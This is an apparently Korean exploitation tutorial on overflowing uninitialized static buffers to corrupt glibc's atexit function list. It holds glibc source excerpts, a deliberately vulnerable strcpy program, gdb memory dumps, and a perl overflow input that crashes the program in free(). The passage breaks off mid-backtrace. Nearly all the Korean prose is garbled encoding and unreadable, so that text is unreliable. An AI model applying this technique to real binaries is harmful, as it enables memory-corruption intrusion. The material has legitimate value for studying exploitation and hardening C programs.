ºñÃʱâÈ­ Á¤Àû º¯¼öÀÇ ¿À¹öÇ÷¯¾î¿¡ ´ëÇÑ exploitÀÇ Á¦ÀÛ ±â¹ý(1) mutacker in Null@Root mutacker@null2root.org, dbyeom@mail.hangkong.ac.kr (http://mutacker.null2root.org) /////////////////////////////////////////////////////////////////////////////////////////////// /////// 1. ±Û ¾²±â¿¡ ¾Õ¼­ ¸ÕÀú ±Û ¾²±â¿¡ ¾Õ¼­ Ç×»ó Àú¸¦ µµ¿ÍÁֽô ¸¹Àº ºÐµé¿¡°Ô °¨»çµå¸°´Ù. ÇØÅ·ÀÇ »õ·Î¿î ±â¼úÀ̳ª ±â¹ýÀ» ¹ß°ßÇÏ°í »ý°¢ÇØ ³»´Â ÀÛ¾÷Àº ºÐ¸í È¥ÀÚ¼­ Çسª°¡±â¿¡´Â ÁöÄ¡°í ÈûÀÌ µé ¶§°¡ ¸¹´Ù. ÇÏÁö¸¸, Ç×»ó °ç¿¡¼­ ÁöÄѺÁÁÖ°í, µµ¿ÍÁÖ°í Á¶¾ðÀ» ¾Æ³¢Áö ¾Ê´Â ¼ö¸¹Àº ºÐµéÀÌ Àֱ⿡ °¡´ÉÇÑ ÀÏÀÌ ¾Æ´Ñ°¡ ½Í´Ù. ´Ù½Ã Çѹø ±× ºÐµé¿¡°Ô °¨»ç¸¦ Ç¥ÇÑ´Ù. ¿ì¸®ÀÇ null@root °¡Á·µé(¿¡±¸ ´Ù ¿­°ÅÇϱâ Èûµå´Ï.. °¡Á·µé·Î ^^;), amadoh4ck, truefinder(frog ^^;), black, mat, and so on... º» ¹®¼­¿¡ ´ëÇÑ ÆDZÇÀº ¾ø´Â °ÍÀ¸·Î Çϸç, ´ÜÁö ÆíÁý¸¸Àº ±ÝÇßÀ¸¸é ÇÑ´Ù. Ʋ¸° ºÎºÐÀ̳ª ¿ÀÅ»ÀÚ µîÀº º»Àο¡°Ô ¸ÞÀÏÀ̳ª ÁÖ¼­½ÄÁö(irc.null2root.org)¿¡¼­ ¾Ë·ÁÁֽøé, °í¸¿°Ú½À´Ï´Ù. ´ÜÁö º» ¹®¼­¿¡¼­´Â ¹æÇ⸸À» Á¦½ÃÇÒ »Ó ½ÇÁ¦ ƯÁ¤ ¾îÇø®ÄÉÀ̼ǿ¡ °ü·ÃµÈ exploitÀ» Á¦°øÇÏÁö´Â ¾Ê´Â´Ù. ¾Æ¹«ÂÉ·Ï, ÀÌ ±ÛÀÌ Çѱ¹ º¸¾È Àü¹®°¡µéÀ̳ª ¿­½ÉÈ÷ ³ë·ÂÇÏ´Â(? ¶Õ±âÀ§ÇØ°¡ ¾Æ´Ñ ±â¼ú¹ßÀüÀ» À§ÇØ) ÇØÄ¿µé¿¡°Ô, ±×¸®°í ÇÁ·Î±×·¥À» °³¹ßÇÏ´Â °³¹ßÀڵ鿡°Ô Á¶±×¸¶ÇÑ µµ¿òÀÌ µÇ¾úÀ¸¸é ÇÏ´Â ¹Ù·¥¿¡¼­ ±ÛÀ» Àû¾îº»´Ù. ÀÌ ¹®¼­ÀÇ ÃÖ°í °ø°³Áö´Â http://mutacker.null2root.orgÀ̸ç, ÃÖÃÊ ¹®¼­ °³Á¦ Àå¼Ò´Â http://www.khdp.orgÀÌ´Ù. ¸¸ÀÏ ´Ù¸¥ °÷¿¡ º» ¹®¼­¸¦ °³Á¦ÇÒ °æ¿ì¿¡´Â ±× Ãâó¸¦ Á¤È®È÷ ¹àÇôÁÖ¾úÀ¸¸é ÇÏ´Â ¹Ù·¥ÀÌ´Ù. /////////////////////////////////////////////////////////////////////////////////////////////// ////// 2. ¼Ò°³ ¿ì¸®´Â buffer overflow Çϸé stack overflow¸¦ ÀÌ¿ëÇÑ return addressº¯°æÀ̳ª, data section overflow¸¦ ÀÌ¿ëÇÑ got¿µ¿ªÀÇ º¯°æ, heap¿µ¿ªÀÇ µ¥ÀÌÅÍ º¯°æÀ̳ª chunkº¯°æÀ» ÅëÇÑ ¹æ¹ý µîÀ» »ý°¢ÇÑ´Ù. º» ¹®¼­¿¡¼­ ¼Ò°³ÇÏ°íÀÚ ÇÏ´Â °ÍÀº staticÇüÅÂÀÇ º¯¼ö°¡ ¿À¹öÇÃ·Î¾î µÉ ¶§ ¹ß»ýÇÏ´Â ¹®Á¦¸¦ ´Ù·ç°íÀÚ ÇÑ´Ù. ÀÌ¹Ì ÀÌ¿¡ ´ëÇØ __atexit in memory bugs (By Pascal Bouchareine ) ¹®¼­°¡ Á¸ÀçÇÏÁö¸¸, ½ÇÁ¦·Î ÇöÀçÀÇ ½Ã½ºÅÛ¿¡ Àû¿ëÀÌ µÇÁú ¾Ê´Â °ü°è·Î »õ·Ó°Ô Á¢±ÙÇØ º¸°íÀÚ ÇÑ´Ù. PascalÀÇ ¹®¼­¿¡¼­ »ç¿ëµÇ´ø atexit ÀڷᱸÁ¶°¡ glibc°¡ ¹öÁ¯¾÷ µÇ¸é¼­ »ó´çºÎºÐ º¯°æÀÌ µÈ °Í°°´Ù. Áï, ÇöÀçÀÇ ½Ã½ºÅÛ°ú ¸ÂÁö ¾Ê´Â ºÎºÐÀÌ ´ëºÎºÐÀÌ´Ù. /////////////////////////////////////////////////////////////////////////////////////////////// /////// 3. ¹®Á¦ ¼³Á¤ ¹× ¹è°æÁö½Ä <-- copy from here #include int main(int argc,char *argv[]) { static char buf[128]; if(argc > 1) strcpy(buf,argv[1]); } -- to here --> À§ÀÇ ¿¹´Â main()ÇÔ¼ö ³»¿¡ Á¤Àûº¯¼ö(static variable)À» µÎ°í, ÀÎÀÚ°ªÀ¸·Î µé¾î¿Â °ÍÀ» º¹»çÇÏ°í ÀÖ´Ù. ¾ÆÁÖ ÀÌÇØÇϱ⠽¬¿î ¿¹Á¦À̸ç, ´©±¸³ª "¾Æ! ¿À¹öÇ÷ξ ¹ß»ýÇÏ°Ú´Ù"¶ó°í ÇÒ °Í°°Àº ¿¹Á¦ÀÌ´Ù. ÇÏÁö¸¸, ½ÇÁ¦·Î Á¤Àûº¯¼ö¿¡ overflow°¡ ¹ß»ýÇÏ¿´´Ù°í ÇÏ¿©¼­ exploitÀÌ ÀÛ¼ºÀÌ °¡´ÉÇÑ °ÍÀº ¾Æ´Ï´Ù. ¸¸ÀÏ buf[]º¯¼ö°¡ ÃʱâÈ­°¡ ÀÌ·ç¾îÁø »óȲÀ̶ó¸é, À§ÀÇ ¹®Á¦´Â got¿µ¿ªÀ» º¯°æÇÏ´Â °ÍÀ¸·Î ¹Ù²ð °ÍÀÌ´Ù. ÇÏÁö¸¸, À§ÀÇ ¿¹´Â ºñÃʱâÈ­µÈ Á¤Àûº¯¼ö·Î ¸Þ¸ð¸® ±¸Á¶»ó ¿À¹öÇ÷ξ ¹ß»ýÇÑ´ÙÇÒÁö¶óµµ ÇÔ¼öµéÀÇ Æ÷ÀÎÅÍ °ªÀ» °¡Áö°í ÀÖ´Â got¿µ¿ªÀ» º¯°æÇÒ ¼ö´Â ¾ø´Ù. ¾Æ·¡ÀÇ ±×¸²Àº ½ÇÁ¦ ÇÁ·Î±×·¥ÀÌ »ç¿ëÇÏ´Â ¸Þ¸ð¸®ÀÇ ±¸Á¶¸¦ º¸ÀÌ°í ÀÖ´Ù. +---------------------------------+ | Text ¿µ¿ª | +---------------------------------+ | ÃʱâÈ­µÈ Àü¿ªº¯¼ö | +---------------------------------+ | ÃʱâÈ­µÈ Á¤Àûº¯¼ö | +---------------------------------+ | GOT | +---------------------------------+ | ºñÃʱâÈ­µÈ Á¤Àûº¯¼ö | +---------------------------------+ | ºñÃʱâÈ­µÈ Àü¿ªº¯¼ö | +---------------------------------+ | Heap ¿µ¿ª | +---------------------------------+ | | ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ | | +---------------------------------+ | Stack ¿µ¿ª | +---------------------------------+ À§ÀÇ ¿¹Á¦¿¡¼­´Â ´ÜÁö Á¤Àûº¯¼ö Çϳª¸¸ Á¸ÀçÇÏ´Â °ÍÀ¸·Î ¸¸ÀÏ ¿À¹öÇ÷ξ ¹ß»ýÇÏ¿´À» °æ¿ì, º¯°æ °¡´ÉÇÑ ¿µ¿ªÀº ºñÃʱâÈ­µÈ Àü¿ªº¯¼ö¿Í Èü¿µ¿ªÀÌ µÇ°Ú´Ù. /////////////////////////////////////////////////////////////////////////////////////////////// /////// 4. ¹®Á¦ ºÐ¼® ÀÚ! ÇÁ·Î±×·¥À» ¸ÕÀú ºÐ¼®À» Çغ¸µµ·Ï ÇÏÀÚ. ÀÏ´Ü, HeapÀ» »ç¿ëÇÏ´Â ºÎºÐÀÌ ÄÚµå»ó¿¡ º¸ÀÌÁö ¾Ê´Â´Ù. ±×·¸´Ù°í ºñÃʱâÈ­µÈ Àü¿ªº¯¼öµµ ¾ø´Ù. ½ºÅÿµ¿ªÀÌ ¾Æ´Ñ ÀÌÀ¯·Î return address ¿µ¿ªµµ ¾ø´Ù. ÈüÀ» »ç¿ëÇÏ´Â °Í°°Áöµµ ¾Ê´Ù. ±×·¯¸é ¿ì¸®´Â ¾îµð¸¦ °ø°ÝÇÒ °ÍÀΰ¡? ±×Àú °ø°ÝÁöÁ¡µµ ¾øÀÌ ¸Á¼³ÀÌ°í ¾É¾Æ¸¸ ÀÖÀ» °ÍÀΰ¡? ¿©±â¿¡¼­ ¿ì¸®´Â ¿ì¸®ÀÇ ÇÁ·Î¼¼½º°¡ »ý¼ºÀÌ µÇ¸é¼­ main()ÇÔ¼ö°¡ ½ÃÀ۵DZâ Àü¿¡ ¹«½¼ ÀÏÀÌ ¹ß»ýÇϴ°¡¸¦ ¸ÕÀú »ìÆ캸ÀÚ. À̸¦ À§ÇØ glibc ¸¦ ºÐ¼®ÇØ º»´Ù. /glibc¶óÀ̺귯¸®/sysdeps/generic/libc-start.c ÀÌ ÆÄÀÏÀ» À¯½ÉÈ÷ »ìÆ캸ÀÚ. ÀÌÁß¿¡¼­ ¿ì¸®´Â Àç¹ÌÀÖ´Â ³»¿ëÀ» ¹ß°ßÇÒ ¼ö ÀÖ´Ù. ---- glibcÀÇ libc-start.c³»ÀÇ __libc_start_mainÇÔ¼öÀÇ ÀϺΠ³»¿ë ----------- /* Register the destructor of the dynamic linker if there is any. */ if (__builtin_expect (rtld_fini != NULL, 1)) __cxa_atexit ((void (*) (void *)) rtld_fini, NULL, NULL); /* Call the initializer of the libc. This is only needed here if we are compiling for the static library in which case we haven't run the constructors in `_dl_start_user'. */ #ifndef SHARED __libc_init_first (argc, argv, __environ); #endif /* Register the destructor of the program, if any. */ if (fini) __cxa_atexit ((void (*) (void *)) fini, NULL, NULL); /* Call the initializer of the program, if any. */ #ifdef SHARED if (__builtin_expect (_dl_debug_mask & DL_DEBUG_IMPCALLS, 0)) _dl_debug_printf ("\ninitialize program: %s\n\n", argv[0]); #endif if (init) (*init) (); #ifdef SHARED if (__builtin_expect (_dl_debug_mask & DL_DEBUG_IMPCALLS, 0)) _dl_debug_printf ("\ntransferring control: %s\n\n", argv[0]); #endif exit ((*main) (argc, argv, __environ)); } -------------------------------------------------------------------------- À§¿¡¼­ º¸¸é libc-start.c ´Â ¸ÕÀú ³»ºÎÀûÀ¸·Î finiÇÔ¼öÀÇ ÁÖ¼Ò°ªÀÌ NULLÀÌ ¾Æ´Ï¶ó¸é, __cxa_atexit ((void (*) (void *)) fini, NULL, NULL); ¸¦ È£ÃâÇÏ°í ÀÖÀ½À» º¼¼ö ÀÖ´Ù. ±×¸®°í, (*init) (); È£ÃâÀÌ µÈ ÈÄ¿¡, (init ¼½¼ÇÀ» º¯°æÇؼ­ °Å±â¿¡ ¹ÙÀÌ·¯½º ³Ö¾îµÎ¸é µüÀÌ°Ú´Ù. ²Ù¿ï²©!! ¿Ø Çê¼Ò¸®¤Ñ¤Ñ;) exit ((*main) (argc, argv, __environ)); ÀÌ ºÎºÐÀÌ È£ÃâµÇ¾î Áö°í ÀÖ´Ù. À̶§ ¿ì¸®ÀÇ Ä£¼÷ÇÑ main()ÇÔ¼ö°¡ È£ÃâÀÌ µÇ´Â °ÍÀÌ´Ù. main()ÇÔ¼ö¿¡¼­ ¼³·É exit()À» ÇÏÁö ¾Ê¾Ò´Ù°í ÇÒÁö¶óµµ, libc-start.c ³»¿¡ ÀÖ´Â (*__libc_start_main)()¿¡¼­ exit()¸¦ È£ÃâÇÏ°í ÀÖÀ½À» ¾Ë ¼ö ÀÖ´Ù. Áï, main()ÇÔ¼öÀÇ ¸®ÅÏ°ªÀÌ exit()ÀÇ ÀÎÀÚ·Î ÀÛ¿ëÇÏ°í ÀÖ´Ù. À§¿¡¼­ ¿ì¸®°¡ ÁÖÀDZí°Ô º¸¾Æ¾ß ÇÒ ºÎºÐÀÌ ¹Ù·Î __cxa_atexit ÇÔ¼öÀÇ È£Ã⠺κÐÀÌ´Ù. Àú ÇÔ¼ö´Â °ú¿¬ ¹«¾ùÇÏ´Â ÇÔ¼öÀΰ¡? ¸ÕÀú atexit.c ÆÄÀÏÀ» »ìÆ캸ÀÚ. ----------------------- exit.h --------------------------------------- #ifndef _EXIT_H #define _EXIT_H 1 enum { ef_free, /* `ef_free' MUST be zero! */ ef_us, ef_on, ef_at, ef_cxa }; struct exit_function { /* `flavour' should be of type of the `enum' above but since we need this element in an atomic operation we have to use `long int'. */ long int flavor; union { void (*at) (void); struct { void (*fn) (int status, void *arg); void *arg; } on; struct { void (*fn) (void *arg, int status); void *arg; void *dso_handle; } cxa; } func; }; struct exit_function_list { struct exit_function_list *next; size_t idx; struct exit_function fns[32]; }; extern struct exit_function_list *__exit_funcs; extern struct exit_function *__new_exitfn (void); #endif /* exit.h */ ---------------------------------------------------------------------- --------------------- cxa_atexit.c ----------------------------------- #include #include #include "exit.h" /* Register a function to be called by exit or when a shared library is unloaded. This function is only called from code generated by the C++ compiler. */ int __cxa_atexit (void (*func) (void *), void *arg, void *d) { struct exit_function *new = __new_exitfn (); if (new == NULL) return -1; new->flavor = ef_cxa; new->func.cxa.fn = (void (*) (void *, int)) func; new->func.cxa.arg = arg; new->func.cxa.dso_handle = d; return 0; } /* We change global data, so we need locking. */ __libc_lock_define_initialized (static, lock) static struct exit_function_list initial; struct exit_function_list *__exit_funcs = &initial; struct exit_function * __new_exitfn (void) { struct exit_function_list *l; size_t i = 0; __libc_lock_lock (lock); for (l = __exit_funcs; l != NULL; l = l->next) { for (i = 0; i < l->idx; ++i) if (l->fns[i].flavor == ef_free) break; if (i < l->idx) break; if (l->idx < sizeof (l->fns) / sizeof (l->fns[0])) { i = l->idx++; break; } } if (l == NULL) { l = (struct exit_function_list *) malloc (sizeof (struct exit_function_list)); if (l != NULL) { l->next = __exit_funcs; __exit_funcs = l; l->idx = 1; i = 0; } } /* Mark entry as used, but we don't know the flavor now. */ if (l != NULL) l->fns[i].flavor = ef_us; __libc_lock_unlock (lock); return l == NULL ? NULL : &l->fns[i]; } ---------------------------------------------------------------------- ------------------ atexit.c ------------------------------------------ #include #include "exit.h" /* This is defined by newer gcc version unique for each module. */ extern void *__dso_handle __attribute__ ((__weak__)); /* Register FUNC to be executed by `exit'. */ int atexit (void (*func) (void)) { return __cxa_atexit ((void (*) (void *)) func, NULL, &__dso_handle == NULL ? NULL : __dso_handle); } /* Hide the symbol so that no definition but the one locally in the executable or DSO is used. */ #ifdef HAVE_DOT_HIDDEN asm (".hidden\tatexit"); #endif ---------------------------------------------------------------------- ±×·¸´Ù. ¿ì¸®°¡ atexitÀ¸·Î »ç¿ëÇÏ°í ÀÖ´Â ÇÔ¼ö´Â ½ÇÁ¦ __cxa_atexitÀ» È£ÃâÇÏ°í ÀÖÀ½À» ¾Ë ¼ö ÀÖ´Ù. Áï, __cxa_atexit ((void (*) (void *)) fini, NULL, NULL); ÀÌ ¸»Àº finiÇÔ¼ö¸¦ atexit ¸®½ºÆ®¿¡ Ãß°¡Ç϶ó´Â Àǹ̰¡ µÇ°Ú´Ù. __cxa_atexit() ³»ºÎ¿¡¼­´Â struct exit_function *new = __new_exitfn (); À» ÅëÇØ ÀúÀå °ø°£À» ¸¸µé°í ±×°÷¿¡ ¿ì¸®°¡ µî·ÏÇÏ°íÀÚ ÇÏ´Â ÇÔ¼öÀÇ ÁÖ¼Ò¸¦ ±â·ÏÇÏ°í ÀÖÀ½À» º¼ ¼ö ÀÖ´Ù. óÀ½À¸·Î finiÇÔ¼ö°¡ µî·ÏÀÌ µÇ´Â °ÍÀ̶ó´Â °ÍÀº ÀÌÁ¦ ½±°Ô ¾Ë ¼ö ÀÖÀ» °ÍÀÌ´Ù. ¿©±â¿¡¼­ ¿ì¸®´Â ÇÑ°¡Áö ÁÖ¸ñÇØ¾ß ÇÒ ºÎºÐÀÌ ÀÖ´Ù. static struct exit_function_list initial; struct exit_function_list *__exit_funcs = &initial; __new_exitfn ()Àº À§ÀÇ __exit_funcs°ÍÀÇ °ªÀ» ÀÌ¿ëÇÏ¿© ±× ÀÌÈÄ¿¡ ÀúÀå°ø°£À» ¸¶·ÃÇÔÀ» ¾Ë ¼ö ÀÖ´Ù. ¸¸ÀÏ ÀúÀå°ø°£ÀÌ ÃʱâÈ­°¡ µÇ¾îÀÖÁö ¾ÊÀº »óŶó¸é(NULL)À̶ó¸é, Èü°ø°£¿¡ µ¥ÀÌÅÍ°¡ »ý¼ºµÇ°í ÀÖÀ½À» ¾Ë¼ö ÀÖ´Ù. l = (struct exit_function_list *) malloc (sizeof (struct exit_function_list)); ÀÚ!! ¾î¶²°¡? ¿ì¸®´Â ¿ì¸®ÀÇ ÇÁ·Î±×·¥ÀÌ ¼³·É malloc()¸¦ ÀüÇô »ç¿ëÇÏÁö ¾Ê´Â ÇÁ·Î±×·¥À̶ó ÇÒÁö¶óµµ óÀ½¿¡ ÇѹøÀº malloc()¿¡ ÀÇÇØ µ¥ÀÌÅÍ °ø°£ÀÌ »ý¼ºµÇ°í ÀÖÀ½À» È®ÀÎÇÒ ¼ö ÀÖ´Ù. free() bug¸¦ °øºÎÇØ º» »ç¶÷À̶ó¸é, ´«ÀÌ ¹ø½ ¶ßÀÏ ³»¿ëÀÌ´Ù. ½ÇÁ¦·Î exit()ÇÔ¼ö¸¦ »ìÆ캸ÀÚ. free()°¡ ÀϾ°í ÀÖÀ½À» ¿ì¸®´Â º¸Áö ¾Ê°íµµ »ó»óÀÌ µÇ¸®¶ó º»´Ù. ----------------------------- exit.c ------------------------------------ void exit (int status) { /* We do it this way to handle recursive calls to exit () made by the functions registered with `atexit' and `on_exit'. We call everyone on the list and use the status value in the last exit (). */ while (__exit_funcs != NULL) { struct exit_function_list *old; while (__exit_funcs->idx > 0) { const struct exit_function *const f = &__exit_funcs->fns[--__exit_funcs->idx]; switch (f->flavor) { case ef_free: case ef_us: break; case ef_on: (*f->func.on.fn) (status, f->func.on.arg); break; case ef_at: (*f->func.at) (); break; case ef_cxa: (*f->func.cxa.fn) (f->func.cxa.arg, status); break; } } old = __exit_funcs; __exit_funcs = __exit_funcs->next; if (__exit_funcs != NULL) /* Don't free the last element in the chain, this is the statically allocate element. */ free (old); } #ifdef HAVE_GNU_LD RUN_HOOK (__libc_atexit, ()); #else { extern void _cleanup (void); _cleanup (); } #endif _exit (status); } ---------------------------------------------------------------------- ÀÚ!! ¾î¶²°¡ free()°¡ È£ÃâµÇ°í ÀÖÀ½À» ¾Ë ¼ö ÀÖ´Ù. old = __exit_funcs; __exit_funcs = __exit_funcs->next; if (__exit_funcs != NULL) /* Don't free the last element in the chain, this is the statically allocate element. */ free (old); ¿©±â¿¡¼­ ¿ì¸®´Â __exit_funcs->next ºÎºÐ¿¡ ¾î¶² ƯÁ¤ °ªÀ» ³Ö¾î³õ¾Ò´Ù¸é, ±×°÷ÀÌ ¶ÇÇÑ free() µÉ °ÍÀ̶ó´Â °Íµµ ¿¹»óÀÌ µÉ °ÍÀÌ¶ó º»´Ù. /////////////////////////////////////////////////////////////////////////////////////////////// /////// 5. ½ÇÇè ½ÇÇèȯ°æÀº Linux kernel 2.4.2-2 intelx86»ó¿¡¼­ ¼öÇàÇÏ¿´À¸¸ç, ½ÇÇè¿¡ »ç¿ëÇÑ glibc ¹öÁ¯Àº glibc-2.2.2-10ÀÌ´Ù. ¿ì¸®´Â À§¿¡¼­ ¾òÀº Áö½ÄÀ» ÅëÇÏ¿© ½ÇÇèÀ» ÅëÇØ ¾Ë¾Æº¸µµ·Ï ÇÏÀÚ. ¿ì¸®´Â À§¿¡¼­ __cxa_atexit() ³»ºÎ¿¡¼­ __exit_funcsÆ÷ÀÎÅÍ°¡ °¡¸®Å°´Â ¾î¶² ÁÖ¼Ò°ø°£(initialÀ̶ó´Â º¯¼ö)¿¡ atexit()¿¡ ÀÇÇØ µî·ÏÀÌ µÇ´Â ÇÔ¼öÀÇ Æ÷ÀÎÅÍ°¡ ÀúÀåÀÌ µÇ°í ÀÖÀ½À» ¾Ë ¼ö ÀÖ´Ù. ¶ÇÇÑ, exit()ÇÔ¼ö´Â __exit_funcsÀÇ ³»¿ëÀ» ±Ù°Å·ÎÇؼ­ atexit¿¡ ÀÇÇØ µî·ÏµÇ¾îÁ³´ø ÇÔ¼öµéÀÌ ¼ø¼­´ë·Î ½ÇÇàÀÌ µÊÀ» ¾Ë¾Ò´Ù. ÀÌÁ¦ __exit_funcsÀº ¾î´À °÷¿¡ »ý°Ü³ª¸ç, ¿ì¸®°¡ ¾î¶»°Ô Á¦¾îÇÒ ¼ö Àִ°¡¿¡ ´ëÇØ »ý°¢ÇØ º¼ ÇÊ¿ä°¡ ÀÖ´Ù. ¿ì¸®´Â ¾Æ·¡ÀÇ µÎ ¶óÀÎÀ» ÀÌ¹Ì cxa_atexit.cÀÇ ³»¿ë¿¡¼­ º¸¾Ò¾ú´Ù. static struct exit_function_list initial; struct exit_function_list *__exit_funcs = &initial; ÀÌ µÎ°³ÀÇ º¯¼ö¸¦ Àß »ìÆ캸ÀÚ. ÀÌ µÎ°³ÀÇ º¯¼ö¸¦ ÀÌ¿ëÇÏ¿© ¿ì¸®´Â ½ÇÁ¦ °ø°ÝÀ» °¨ÇàÇÒ °ÍÀ̱⠶§¹®ÀÌ´Ù. #################################################################### ### 5.1 °øÀ¯¶óÀ̺귯¸®¸¦ »ç¿ëÇÏ´Â °æ¿ì. ½ÇÆи¦ µÎ·Á¿ö ÇÏÁö¸»ÀÚ!! ### #################################################################### ÀÚ! ½ÇÇèÀ» Çغ¸µµ·Ï ÇÏÀÚ. ù¹ø° °øÀ¯¶óÀ̺귯¸®¸¦ »ç¿ëÇÏ´Â °æ¿ì¸¦ »ìÆ캸°Ú´Ù. [mutacker@int static]$ cat > vul.c #include int main(int argc, char*argv[]) { static char buf[128]; if(argc > 1) strcpy(buf, argv[1]); } [mutacker@int static]$ gcc -o vul vul.c [mutacker@int static]$ gdb vul -q (gdb) b *(main+3) Breakpoint 1 at 0x8048463 (gdb) r Starting program: /home/mutacker/static/vul Breakpoint 1, 0x08048463 in main () (gdb) p &initial $1 = (struct exit_function_list *) 0x4014d9e0 (gdb) p &__exit_funcs $2 = (struct exit_function_list **) 0x40149cbc (gdb) x 0x40149cbc 0x40149cbc <__exit_funcs>: 0x4014d9e0 (gdb) x/32 &initial 0x4014d9e0 : 0x00000000 0x00000002 0x00000004 0x4000e184 0x4014d9f0 : 0x00000000 0x00000000 0x00000004 0x080484d0 0x4014da00 : 0x00000000 0x00000000 0x00000000 0x00000000 0x4014da10 : 0x00000000 0x00000000 0x00000000 0x00000000 0x4014da20 : 0x00000000 0x00000000 0x00000000 0x00000000 0x4014da30 : 0x00000000 0x00000000 0x00000000 0x00000000 0x4014da40 : 0x00000000 0x00000000 0x00000000 0x00000000 0x4014da50 : 0x00000000 0x00000000 0x00000000 0x00000000 (gdb) x/i 0x4000e184 0x4000e184 <_dl_fini>: push %ebp (gdb) x/i 0x080484d0 0x80484d0 <_fini>: push %ebp À§ÀÇ ³»¿ëÀ» ±âÁØÀ¸·Î »óȲÀ» Á¤¸®ÇØ º¸ÀÚ. ÇöÀç, initial°ú __exit_funcs µÎ º¯¼ö´Â ¸ðµÎ °øÀ¯¶óÀ̺귯¸® ¿µ¿ª¿¡ ÇØ´çÇÏ´Â ÁÖ¼Ò °ø°£¿¡ »ý¼ºµÇ¾î ÀÖÀ½À» È®ÀÎÇÒ ¼ö ÀÖ´Ù. penguin¹®¼­¸¦ º¸¸é initialÀº static ¿µ¿ª¿¡ »ý¼ºµÇ´Â °Íó·³ ¼³¸íµÇ¾î ÀÖÀ¸³ª, glibc-2.2.2-10 ±âÁØÀ¸·Î º¸¸é, µÎ º¯¼ö ¸ðµÎ °øÀ¯¶óÀ̺귯¸® ¿µ¿ª¿¡ »ý¼ºµÊÀ» ¾Ë ¼ö ÀÖ´Ù. Áï, ½ÇÇèÀ» Çغ¸¸é, static º¯¼ö ÀÌÈÄÀÇ ¾î´À ºÎºÐÀÇ °ªÀ» º¯°æÇÏ´õ¶óµµ ¾î¶°ÇÑ Á¾·ùÀÇ ¿¡·¯µµ ¹ß»ýÇÏÁö ¾ÊÀ½À» ¾Ë ¼ö ÀÖ´Ù. Èì.. ±×·¯¸é ¿ì¸®´Â Àú µÎ°ªÀ» ¹Ù²Ü ¼ö ÀÖÀ»±î? @@; ¾Æ¹«¸® ºÁµµ ¾î·Á¿ï °Í°°´Ù. ÀÌ´ë·Î ¹«³ÊÁö´Â°¡? ¿ì¸®ÀÇ ¸¶Áö¸· Èñ¸ÁÀ̾ú´ø º¯¼öµéÀÌ ¿ì¸®°¡ °Çµå¸± ¼ö ÀÖ´Â ¿µ¿ªÀÌ ¾Æ´Ñ °÷¿¡ Á¸ÀçÇÏ´Â °ÍÀÌ´Ù. ############################################################ ### 5.2 -static ¿É¼ÇÀ» »ç¿ëÇÏ¿© ÄÄÆÄÀÏ ÇÏ¸é ¾î¶»°Ô µÉ±î? ### ############################################################ ¿ì¸®´Â 5.1¿¡¼­ °øÀ¯¶óÀ̺귯¸®¸¦ »ç¿ëÇÒ °æ¿ì ÇÙ½ÉÀÌ µÇ´Â µÎ º¯¼ö°¡ °øÀ¯¶óÀ̺귯¸® ¿µ¿ª¿¡ »ý¼ºµÇ¾îÁ® ÀÖÀ½À» È®ÀÎÇÒ ¼ö ÀÖ¾ú´Ù. ¸¸ÀÏ °øÀ¯¶óÀ̺귯¸®¸¦ ÀÌ¿ëÇÏÁö ¾ÊÀº °æ¿ì¿¡´Â ¾î¶»°Ô µÉ±î? ¿ì¸®ÀÇ º¯¼öµéÀº ¾Æ¸¶µµ °øÀ¯¿µ¿ªÀÌ ¾Æ´Ñ ¿ì¸®ÀÇ ÇÁ·Î¼¼½ºÀÇ º¯¼ö ¿µ¿ªÀ¸·Î ¿Å°Ü¿Ã °ÍÀÌ´Ù. ÀÚ! ±×·¯¸é ¾îµð¿¡ »ý°Ü³¯±î? ¿ì¸®´Â ÀÌµé º¯¼öµéÀÌ »ý°Ü³ª´Â À§Ä¡¸¦ È®ÀÎÇϱâ À§ÇØ ÇÁ·Î±×·¥À» ¾à°£¸¸ º¯°æÇϵµ·Ï ÇÏ°Ú´Ù. [mutacker@int static]$ cat vul.c #include #include char noninitglob; extern struct exit_function_list *__exit_funcs; int main(int argc, char*argv[]) { static char buf[128]; if(argc > 1) strcpy(buf, argv[1]); printf("__exit_funcs : %p\n", &__exit_funcs); printf("initial : 0x%x\n", __exit_funcs); printf("noninitglob : %p\n", &noninitglob); printf("static noninit : %p\n", buf); } [mutacker@int static]$ gcc -o vul vul.c -static [mutacker@int static]$ ./vul aaaaaaaaaaaaaaaaa __exit_funcs : 0x809ce70 initial : 0x809eea0 noninitglob : 0x809f8a4 static noninit : 0x809ee00 ÀÚ! ÀÌµé º¯¼öµéÀÇ À§Ä¡¸¦ »ìÆ캸ÀÚ. [__exit_funcs] [static noninit] [initial] [noninitglob] ÀÌ·± ¼øÀÌ µÇ°Ú´Ù. ¿ì¸®ÀÇ Èñ¸ÁÀÌ º¸ÀδÙ. °øÀ¯¶óÀ̺귯¸®¸¦ ÀÌ¿ëÇßÀ» °æ¿ì¿¡´Â ½ÇÁ¦ ¿ì¸®°¡ ÀǵµÇÏ´Â ¸ñÇ¥¸¦ ¼¼¿ì±â´Â Èûµé´Ù. ÇÏÁö¸¸, -static ¿É¼ÇÀ» »ç¿ëÇÏ¿©, Á¤Àû¶óÀ̺귯¸®¸¦ ÀÌ¿ëÇÒ °æ¿ì¿¡´Â ÀÌµé º¯¼öµéÀÎ À§¿Í °°Àº ÇüÅÂÀÇ ¹èÄ¡·Î »ý°Ü³²À» ¾Ë ¼ö ÀÖ´Ù. ¿ì¸®´Â ºñÃʱâÈ­µÈ Àü¿ªº¯¼ö¸¦ ÀÌ¿ëÇؼ­´Â atexit()¿¡ ÀÇÇØ »ý¼ºµÈ Å×À̺íÀ» º¯°æÇÒ ¼ö ¾øÁö¸¸, ºñÃʱâÈ­µÈ static º¯¼ö¸¦ ÀÌ¿ëÇؼ­´Â ±× °ªÀ» º¯°æÇÒ ¼ö ÀÖÀ½À» ¾Ë ¼ö ÀÖ´Ù. ÀÌÁ¦ ½ÇÇèÀ» Çغ¸µµ·Ï ÇÏÀÚ. [mutacker@int static]$ ./vul `perl -e 'print "A"x160'` [mutacker@int static]$ ./vul `perl -e 'print "A"x161'` Segmentation fault (core dumped) [mutacker@int static]$ [mutacker@int static]$ gdb -q vul core Core was generated by `./vul AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'. Program terminated with signal 11, Segmentation fault. #0 0x0804c25f in __libc_free (mem=0x809eda0) at malloc.c:3043 3043 malloc.c: No such file or directory. in malloc.c (gdb) bt #0 